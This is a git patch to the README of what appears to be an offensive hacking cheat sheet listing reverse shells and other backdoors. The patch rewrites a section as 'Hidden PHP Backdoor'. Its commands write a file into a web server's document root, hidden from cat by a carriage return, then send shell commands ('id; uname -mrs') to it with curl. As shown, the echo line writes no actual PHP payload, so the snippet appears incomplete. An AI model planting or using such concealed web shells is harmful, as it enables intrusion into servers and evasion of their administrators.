From 24ccd0a21c2f8e9aeeca084d376b9c229b4aa01b Mon Sep 17 00:00:00 2001 From: skyper <5938498+SkyperTHC@users.noreply.github.com> Date: Tue, 16 May 2023 13:21:55 +0100 Subject: [PATCH] Update README.md --- README.md | 18 ++++++------------ 1 file changed, 6 insertions(+), 12 deletions(-) diff --git a/README.md b/README.md index 3c68217..cb8e1a7 100644 --- a/README.md +++ b/README.md @@ -53,7 +53,7 @@ Got tricks? Join us on Telegram: [https://t.me/thcorg](https://t.me/thcorg) 1. [Background reverse shell](#backdoor-background-reverse-shell) 1. [authorized_keys](#backdoor-auth-keys) 1. [Remote access an entire network](#backdoor-network) - 1. [Carriage return backdoor](#carriage-return-backdoor) + 1. [Hidden PHP backdoor](#carriage-return-backdoor) 1. [Shell Hacks](#shell-hacks) 1. [Shred files (secure delete)](#shred) 1. [Restore the date of a file](#restore-timestamp) @@ -1036,19 +1036,13 @@ Other methods: * [Reverse Wireguard](https://thc.org/segfault/wireguard) - from segfault.net to any (internal) network. -**6.iv. Carriage Return Backdoor** +**6.iv. Hidden PHP Backdoor** -This method allows to hide from cat the malicious content of a file with a simple carriage return character: +Hide from `cat` with a [simple carriage return](https://www.hahwul.com/2019/01/23/php-hidden-webshell-with-carriage/): ```sh -bash$ echo -e "\r" > /var/www/html/test.php -bash$ cat test.php - -bash$ php test.php -hello world this is a test -bash$ strings test.php - - -bash$ +echo -e "\r" > /var/www/html/test.php +### +curl http://192.168.0.1/test.php -d 1="id; uname -mrs" ``` ---